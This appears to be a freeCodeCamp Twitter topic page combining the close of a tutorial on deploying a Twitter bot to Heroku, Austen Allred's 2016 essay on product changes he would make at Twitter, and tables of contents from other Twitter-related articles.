CONSUMER_KEYCONSUMER_SECRETACCESS_TOKENACCESS_TOKEN_SECRETSENTIMENT_KEY
Once you have the Heroku vars set up, take a look at the config.js file of this project. You are going to delete this line:
require('dotenv').config();
You’re now ready to deploy to Heroku again. Your console commands should look something like this:
$ git add .$ git commit -m 'add environment variables'$ git push heroku master
Then you can check the Heroku logs again with:
$ heroku logs -t
You should now have a bot you can leave to do its thing forever more, or until you decide you want to change the search criteria ?
Heroku deployment via GitHub
You can also deploy your app by connecting to GitHub and deploy automatically to Heroku each time your master branch is updated on GitHub, this is straight forward enough.
Go to the ‘Deploy’ dashboard on Heroku, select GitHub as the deployment method if you have connected your GitHub account to your Heroku account then you can search for the repository so if you forked this repo then you can just enter twitter-bot-bootstrap and Search you can then click the Connect button, you can then auto deploy from GitHub.

Heroku troubleshooting
What do you mean it crashed!?

Ok, I found that sometimes the worker is set as web and it crashes out, try setting the worker again with:
heroku ps:scale worker=0 heroku ps:scale worker=1
If that still crashes out then try setting the Resources on the Heroku dashboard, I found if you toggle between the web, heroku and worker it usually settles down. Basically you need to be set to the worker Dyno this is what causes the Error R10 (Boot timeout) crashes because it's trying to use one of the other resources when it should be using the worker Dyno.

Other useful Heroku commands I use:
heroku restart
By default you can only push your master branch if you are working on a development branch i.e. dev branch. If you want to test on Heroku, then you can use:
git push heroku dev:master
Handy tip
If you want to add this to your own GitHub repo and don’t want to share your API keys ? with the world then you should turn off tracking on the .env file. From the terminal enter this git command:
$ git update-index --assume-unchanged .env
I have added my most used git command I use in this gist
Wrapping up
Your Twitter bot should now be live. You can tinker with it and further configure it.
Here’s my repository if you’d like to fork it and contribute back using pull requests. Any contributions large or small — major features, bug-fixes, integration tests — are welcome, but will be thoroughly reviewed and discussed.
Acknowledgements
Credit for the inspiration for this should go to @amanhimself and his posts on creating your own twitter bot.
create-a-simple-twitter-bot-with-node-js
how-to-make-a-twitter-bot-with-nodejs
twitter-mctwitbot
awesome-twitter-bots
Other posts detailing useful Twitter bots.
www.brit.co/twitter-bots-to-follow
www.hongkiat.com/using-twitter-bots
Made it this far? Wow, thanks for reading! If you liked this story, please don’t forget to recommend it by clicking the ❤ button on the side, and by sharing it with your friends through social media.
If you want to learn more about me, visit my blog, my Github, or tweet me @ScottDevTweets.

You can read other articles like this on my blog.



 If I Ran Product at Twitter 
freeCodeCamp — Wed, 20 Jan 2016 22:36:00 +0000
 By Austen Allred
I think about Twitter a lot. Probably more than someone who doesn’t have any monetary incentive to do so ever should. I’m not an investor (even in the public market), I don’t have a relationship with anyone who works there, and I have no power whatsoever to enact any changes, but I do deeply love the product, not to mention what it’s done for my life.
This post originally started with me hammering out some stuff on an airplane as a bit of a thought experiment, and ended up as me thinking about the product as if it were my own.
I came at this from the perspective of a startup founder: How could an engineering team get the most bang for their buck? I’m sure Twitter is spread very thin, so partially as a challenge and partially because that’s the way I’m used to thinking, I tried to reuse as many existing elements and design patterns as possible to make the hypothetical changes relatively simple ones.
But first, before we jump in, we need to understand a bit about where Twitter is at and why.
Twitter’s Troubles
It’s no secret that Twitter has hit a few bumps on the road. User growth has slowed, the stock price is lower than ever, Wall Street ran out of patience with Jack as a CEO about 12 hours after he started, and every now and then I catch wind of talent abandoning ship — not an ideal place to be as a public company.
But that having been said, I’m still long on Twitter. Even as VCs speculate as to whether or not Twitter could be replaced in three years, I believe it’s too good of a product with too strong of a network to just fade away. I’m of the opinion that all of these problems can and will be fixed.
In short, I’m long on Twitter.
Dissecting Tweets
Before we dive too heavily into the changes I would make at Twitter, it’s helpful to develop an understanding of what I consider to be the fundamental elements of a tweet and home Twitter feed. When we do so seeing where other features and fixes should fit in becomes much easier.
A tweet can be divided into four basic elements:

The tweet text. The 140 chars. (red).
Where the tweet came from. Was it a retweet? Is it from moments? (green).
Attachments. These include photos, videos, vines, periscope, links, and now even other tweets. (blue).
Metadata. Who tweeted, timestamp. (black).


140 Chars (Replacing the Screenshot)
As a result of the SMS constraints Jack mentions in the tweet above, one of the great accidental features of Twitter is its forced brevity. I’m sure you know, but just as a refresher, each tweet has to be less than (or equal to) 140 characters.
Many people think that this is great because it limits the vertical space tweets take up in your feed. While this is true, the positive aspects of a limited number of characters are much deeper than tweets not being very tall. (If screen real estate were the only problem there would be an easy fix — only show the first 140 characters and have a “show more” button or something equivalent.) But that’s not the point.
The important aspect of the 140 chars is the cognitive load required to fill up 140 chars. Jack once described it using this metaphor: Imagine yourself in front of a mural which is to be your canvas; something 20 feet wide by 8 feet tall. You are forced to think and plan and know exactly what you should do with every inch of white space.
Now compare that to a Post-it Note. With a Post-it you just jot something down and move on.
Twitter right now is the equivalent of a Post-it note. That’s fantastic for many use cases, and it has generated an absurdly high amount of content from a wide variety of sources.
But some thoughts just don’t fit on Post-its. Users have used screenshots, tweetstorms, and even external sites like twitlonger to get around the 140 character constraint. It’s obviously something Twitter should support natively — why send everyone away and give up those clicks and eyeballs?
If nothing else, it seems a little bit ridiculous that the best way the former CEO of Twitter can communicate is by taking screenshots of his iOS Notes app.
So the challenge is solving the need for longer tweets without eliminating the benefits of the constraints. How do you stop making users jump through hoops or use hacky workarounds to make the product do what they want?
Now that we understand the anatomy of a tweet, it’s really quite simple.
The Post
There are several attachment types supported natively within Twitter. Some you add from within the app (photos, videos and polls), some are parsed from the body of the tweet (links and links to tweets), and some come from external apps (Vine and Periscope).
The attachments one can tweet from within the app are available at the bottom of each “compose Tweet” screen.
All that Twitter needs to do to overcome the 140 character dilemma is to add a larger canvas as a new attachment type. I’d call it, simply enough, the “post.”
You could lay it out this way (forgive me, I’m not a designer).
Place a button to the right of the poll button, and you get:

Tap that button, and you’re on to:

Yes, this is a Medium ripoff
It’s just like attaching a photo, except instead of selecting a photo to attach you’re adding text to a post. As simple as a screenshot, but with much more utility.
The text editor itself doesn’t have to be as fancy as pictured above; it could literally be plain text and people would use it like crazy.
The way you display that in a timeline has also already been solved: it’s just one more form of attachment, the same way a photo or quoted tweet is:

You could start with a very simple editing and reading experience, and end up with something similar to Medium, but built natively within Twitter itself.
That’s where things get real interesting. Instead of Twitter being a microblogging platform, it could actually become… a blogging platform.
The Tweetstorm
But a post is somewhat different than a tweetstorm. A post is a long blurb of text, where a tweetstorm is a collection of tweets as individual units; each one can be retweeted, replied to, and interacted with within its own context. I don’t think you want to (or would) lose tweetstorms as a result of having a post. So I think of tweetstorms separately, yet again as a type of attachment.

Adding a tweetstorm button is straight-forward

As is actually implementing the tweetstorm compose functionality
You could even use something very similar to the create poll screen, except instead of adding a lot of poll options you’re adding additional tweets. (You’d probably use several text areas instead of text fields, of course, but the principle of the matter remains).

And how would you display a tweetstorm? Display the first tweet as normal, and the rest as an attachment: “n more tweets.” Tapping on it would open it up in a separate timeline that would actually allow you to read the tweets in proper sequence.
Fixing Follows
At the core of Twitter’s Wall Street woes is the slowing growth. Spending a few minutes with people who don’t use Twitter (or who have signed up and haven’t found enough value to continue) the reason is obvious.
Put simply, Twitter increases in value along with the quality of your feed. This means that the people who put more time and effort into Twitter get more out of it.
But putting together your feed is very difficult, especially for new users who have nothing to go off of and have never intentionally created a similar feed before.
To better explain what that means I’d like to take the liberty of looking at Twitter from the perspective of my grandma.
My Grandma
My Grandma, outside of occasionally using passwords like “p@ssw0rd,” is technically savvy. She used to work for Novell, she blogs and emails, and certainly knows her way around a computer.
Does my grandma use Facebook? Of course. Does she use Twitter? Nope.
It’s easy to write that off as “well that’s not our target market,” but at a certain point, in order to justify the $x0 Billion market cap, Twitter needs to start attracting the “late majority” of users.

My grandma is a prototypical late adopter. She started using Facebook on recommendation of one of her grandchildren a couple of years ago, accepting his friend request as her first. Immediately the rest of the family saw that she had joined, and we all started adding her as a friend. She, of course, accepted the requests.
Before she knew it, and without doing much at all, she had recreated much of her in-real-life social graph on Facebook. Now every time she logs onto Facebook she sees photos, videos, and posts from her family. Importantly, she didn’t even have to think to make that happen.
I’m not sure there’s a stickier experience anywhere on the Internet.
Facebook has two major advantages over a network like Twitter:

Facebook’s connections are bidirectional (sometimes I call it “lazy”); if I add you and you accept, you unwittingly added me to your social graph. On Twitter every user has to create his or her own graph manually instead of merely reacting to others.
Facebook is recreating an existing social graph, merely transposing “people I know in life” to “people I know on Facebook.” The great (and difficult) thing about using Twitter is that you’re creating a graph that didn’t previously exist from scratch. Especially for non-early-adopters, that’s a very tall order.

The unidirectional graph is both my favorite thing about Twitter and the thing that causes Twitter’s growth to be slow. As they say, Facebook is the people you know, Twitter is the people you wish you knew.
Twitter’s problem is sometimes people don’t know who they wish they knew. Facebook wins because everyone knows who they know.
Most Twitter users I know spend an inordinate amount of time pruning and discovering who to follow— constantly adding to and removing from their feed. I’d go as far as to say that the value one receives from using Twitter is directly correlated to the amount of time he or she spends adjusting whom he or she follows.
The Importance of the Graph
The initial social graph is such a fundamental metric for Facebook that the (now legendary) growth team focused solely on getting each new member to have seven connections. They found that was the point at which people would stick around. They knew you would be hooked at that point.
My hunch is that a similar number is true for Twitter — at some level creating enough of a quality social graph makes Twitter sticky.
The problem Twitter is running into is that creating that graph from nothing on Twitter is an order of magnitude more difficult than recreating a graph (perhaps even accidentally) on Facebook.
This is true for both existing users and new users, but we’ll focus on new users first.
Onboarding: Bootstrapping the Graph
Twitter seems to be well aware of what computer scientists would call the cold start problem: In short, they know nothing about a new user, and it’s hard to make predictions (let alone construct a social graph) when you don’t know anything. They’ve tried several ways to solve it for newly registering users, from the current “survey” to the previous “logged out homepage,” but these pretty clearly miss the mark.
After having run through the onboarding process several times, I honestly believe it would be better if it didn’t exist at all in its current state. It’s broken enough that I can’t imagine it not ruining the experience of anyone signing up for the first time.
I went through the onboarding process and created a new account three more times this morning (onboarding multiple times on various platform is a weird hobby of mine). I did it once trying to match exactly what I would say personally, once using only contacts from my gmail account, and a final time using only my mobile contacts.
This is all specific to me, so it may be difficult to ascertain whether or not there’s value, but I think the issues will be obvious.
For the first round I said I like tech/science in Twitter’s survey, and didn’t give any further context or contacts. This is who Twitter recommended I follow:

Inside Science & Tech, an account I’ve never heard of, but it seems science and techy so I suppose that makes sense. Then TechCrunch, an account I currently don’t follow because I’m not a huge fan of the writing, but fair enough, I said tech, here’s TechCrunch.
It also included several leaders of the LDS Church. I don’t know where that came from, but I’m in Utah so it could be something location-based. Whatever. I just followed and everyone Twitter recommended.
To my surprise, when I looked at the feed that this onboarding populated it was 99% CNN, ESPN and Utah Jazz. Apparently further down the list were some very non-tech accounts I didn’t pay attention to (I assume a lot of users similarly wouldn’t), and these huge, constantly-tweeting and completely irrelevant accounts were completely dominating my feed.
If I were a first-time user I would have left and never come back. But maybe that was a fluke.
I then tried with a new account, only importing my gmail contact list. This is who Twitter recommended I follow based on my emails:

Maybe I have an email from the Mormon Newsroom somewhere, but they’re certainly not one of my “contacts.” I have no idea how Drake got on there, or the White House, but this is again obviously broken. My feed was a mess of brands, most of whom were trying to promote content.
But maybe it’s because I’m on desktop and no one uses desktop anymore; let’s try on mobile. This time I’m going to use my mobile contact list only.
To my surprise, again Twitter injected a large number other accounts for me. From Barack Obama and Bill Clinton to news sites and all sorts of random celebrities, interspersed with the people I actually know and care about.

When I got to my home screen, the tweets were from (in this order):
Time, MarketWatch, Entrepreneur, Time, ESPN, CNN, The Economist, Forbes, Wall Street Journal.
I had to scroll 57 tweets before I saw something from somebody I knew.
I didn’t come here to follow brands
Maybe this is just me, but I would guess that step one for fixing the social graph problem is to stop fetishizing the popular and branded accounts — especially those that tweet seven times an hour. It seems like Twitter is pushing those across the board. Maybe I’m an atypical user, but in my opinion they are some of the worst accounts to follow: They mostly tweet press releases and links to articles.
How I Find People to Follow

I like to find people who tweet the same links that I do. This means that generally they are interested in the same topics or reading the same stuff. It almost becomes a reverse Nuzzel.
Sometimes I’ll go through the tweets that I retweeted and follow everyone who also retweeted them.
Occasionally I’ll use a tool like Electoralhq to create a list of all of the people someone else follows, essentially recreating that person’s feed. I then can use that person’s feed on occasion to find new people. (This actually used to be a Twitter feature).
I love to create lists of the people that are followed by the people I follow, but who are not followed by me. I’ve found some of my favorite accounts that way.

As you can see, these are not things that most users would do, but they have increased the value of Twitter for me so greatly I think it would be neat to see those tools be widespread. (I’ve actually toyed with building some of them in the past, but the API calls limitation made it impossible.)
This is relatively trivial, but given that the building of a social graph is the single most important aspect of Twitter it would be nice to have some additional tools to be able to find people.
Following More than People
A potentially even more obvious way to solve the social graph problem is to let me follow more than people.
What if you could follow events?
What if you could follow topics?
That’s pretty clearly what Twitter was trying to solve with Moments, but Moments doesn’t solve the problem.
Fixing Moments
The problem with moments isn’t the design or the position of the button or the layout; that was all executed very well (serious hats off to the Moments team for that).
The problem with moments is the content. Moments essentially recreated a portion of the Yahoo homepage within Twitter.
I, and most people I know who use Twitter, go to Twitter to find the stuff that’s not on the Yahoo home page.
This isn’t necessarily the fault of the Moments editorial team either; the problem is the editorial team is tasked with an impossible job: Find content that all Twitter users will want to click on. Mark my words, that will never happen.
The problem that Moments set out to solve is that curation is hard. An event is happening, and sure, you could follow the hashtag, but there’s way too much firehose to drink from. I would be willing to bet the thought process was something like this:

“It is really hard for people to curate their feeds enough to make Twitter valuable during big events like [Ferguson]. How can we solve that?”
“Well let’s just hire some people to find the best stuff and do that for them.”

Tie that together with some brainstorming about how to get those tweets into a feed, Twitter Moments is born. I think they were on the right track.
But I also think Twitter missed an enormous opportunity, specifically because it doesn’t scale very well.
There may be some people who are interested in the above topics, but I don’t know who they are. And I bet Twitter would admit that they don’t either.
The opportunity missed, in my mind, is that there are people who are willing to curate for others on Twitter, even on a tweet-by-tweet basis.
Maybe it’s only 1%. Maybe it’s only 10%. But why sit there and curate tweets on 10 topics when you could open it up and allow everyone to curate tweets on any topic?
Doing so would open it up for everyone, and let every event ever be covered by someone. It could still be embeddable and linkable and shareable; you could even “follow” a moment and let those links populate your timeline, but it would be on every topic.
Opening Moments
To understand how Moments works, let’s again break it down into anatomical pieces.

It’s actually remarkably simple. I’ve never seen the backend of Moments, but I would imagine it’s four “title” fields and then a bunch of fields to drop links to tweets.
I know for a fact that you can get ordinary people to fill in those fields, because we’ve been using almost exactly the same fields at Grasswire for almost two years (except we have “tag” instead of “topic”, and “links” instead of “tweets”).
So why not open that up? Expose the backend, allow me to create some moments that will live at twitter.com/austenallred/moments, and display it the same way. The hard work is done.
Then the question comes down to “Moments Discovery.”
A pretty rudimentary analysis of my tweets by Klout (I know, I know) reveals the topics that I’m interested in:

This is pretty spot on; with a couple of exceptions I would love to see Moments about any of that stuff. Twitter has all that data; it knows what I tweet about, it would take some finesse but there’s no reason Twitter shouldn’t be able to show me Moments about those things. Doing so would make Moments incredibly valuable for me.
If Moments had content about these things, I would probably check the Moments tab several times per day. People would create and embed them, news companies would create stories that way; you would almost have an easier-to-use Storify built into the product directly, but importantly it would be scalable and personalized.
But what if what I want to follow isn’t an event?
Collections
Moments is geared toward events with a particular stop-and-start time. But what about topics?
Twitter Collections technically exist, but they do so in such a format that I didn’t even know they were a thing until a few days ago. Collections is a really, really good idea. But there are a couple of problems:

I have to use a special tool called “curator” to create them.
Viewing a collection is difficult, because it’s somewhat hidden away.

Both of these have fairly obvious solutions.
Creating a collection should be as simple as creating a list, except this time instead of gathering people we’re gathering individual tweets.

Simple enough: add another list item to the profile photo dropdown, and everything has a home.
It’s not hard to figure out how one should be able to add a tweet to a collection, either.

These small details are important, because this way there’s no need to build out a separate product with search functionality, discovery, a new way to display timelines, etc. If done right it would actually be simpler to build new features into the existing product. A few API changes, a few UI changes, and you’re good to go. (Granted, coming from a startup background I’m sure I’m underestimating the difficulty of this, but theoretically it shouldn’t be complex.)
But what makes collections really interesting to me is how you could follow them.
It’s no secret that the vast majority of Twitter use is in a user’s home feed. The reason lists haven’t taken off is because people simply use their home feed. Were I the all-powerful person over product at Twitter, I would let people follow a collection, thereafter injecting any tweets that are added to them into my home feed. (Checking for collisions and duplications would be more difficult, but we’ll disregard that for now).
How would it look when injected into my feed? The same way any other tweet does, except going back to our dissection of tweets, we’d now have “from @user/collection-name” in green instead of “retweeted by [full name].” (I’ll drop it below again to make things easier.) Add some sort of Collections icon, and you just made it possible to follow a topic (or event) curated by another user in an ongoing fashion.

Implemented in this way, I can let someone else do the curation for me on a tweet-by-tweet basis. There’s really no way on Twitter right now you can follow a thing. You can follow people who are likely to tweet about a thing, but they can tweet about whatever they want, and you’re stuck with it.
At some level, following topics would actually be much easier than following people. The curators would be rewarded knowing that their tastemaking is appreciated by n people, and new users would be able to jump directly into what they’re interested in topically instead of having to sort out what people they’re interested in.
Once this becomes more established, you can create “group collections” where a user can invite other people to add to a collection along with him or her. But that’s expert mode, and we’re still on amateur.
The Firehose
Probably the best way to describe what I would do were I over product at Twitter is solve the “firehose” problem. Twitter’s problem is that there’s too much good stuff. That is a crazy dream to the vast majority of startups and products, but that’s not the world that Twitter lives in.
Twitter’s biggest problem overall is discovery, as a result of manually created social graphs, and I think these would go a way to solving that problem.
Again, these are just random thoughts, mostly written on a long airplane flight, and I have neither insider information nor power to enact any of these changes, so when all was said and done it was just a long brainstorm for a product I love.
To recap:

Add a new attachment type that is a text post
Native tweetstorm integration
Take the cruft out of new user onboarding
Open up moments
Create follow-able “collections”

Here’s to Twitter in 2016.

Twitter - freeCodeCamp.org

How to Create an AI-Powered Bot that Can Post on Twitter/X

Table of Contents

Prerequisites

How to Build the Bot

Step 1: Generate the Twitter API Key

Step 2: Generate Access Token and Secret

Step 3: Generate an API Key in Google Gemini

Node.js Project Setup

Step 1: Fetch Data from the API

Step 2: Upload the Data as a File to Gemini API

Step 3: Prompt Gemini to Get the Latest AI News

Step 4: Post Using the Twitter/X API

Step 5: Delete the File Uploaded in the Gemini API

The Result

Conclusion

How to Create a Dynamic Twitter Header

Getting Started

How to Create a Twitter app

How to Set Up The Project

How to Fetch Followers from Twitter

How to Process the Images

How to Create the Text

How to Draw the Twitter Banner

How to Upload the Banner to Twitter

Conclusion

Gatsby Starter Blog: How to Add Header Images to Posts with Support for Twitter Cards

Getting Started

How to Add Document Metadata Tags

How to Source Default Image using GraphQL

GraphQL File and Image Processing Query Explained

How to Source Post-Specific Image Properties using GraphQL

How to Add a Header Image to your Blog Post Template

How to Add New Properties to a Post's Frontmatter

Conclusion

How I landed offers from Microsoft, Amazon, and Twitter without an Ivy League degree

What this article covers:

Background

Moving forward

Startup Days

How I prepared for my interviews

Preparation mode

Interviewing at top-tier companies

Let’s talk about my favorite

The others

What I learned:

Some more advice

Tools I Recommend

Helpful terminal tips

Authentication Using Twitter In ASP.NET Core 2.0

Introduction

Prerequisites

Create MVC Web Application

Create the Twitter App

Configure the Web App to use Twitter authentication

Execution Demo

Conclusion

See Also

Basic data analysis on Twitter with Python

Setup

Twitter Credentials

Creating the GUI

Analyzing Tweets

Graphing Scatter Plot

Example

Create a Twitter Bot in Python Using Tweepy

Setup

Credentials

Building the Bot

Creating the GUI

I wanted freeCodeCamp Toronto’s Twitter to tweet quotes, so I made a free bot to do it.

Is Lambda right for you?

Write a Lambda function

Setting up AWS Lambda

1. Create your function

2. Configure your function

3. Upload your code

4. Test your function

5. Set up CloudWatch Events

Watch it go

Deploy to `now`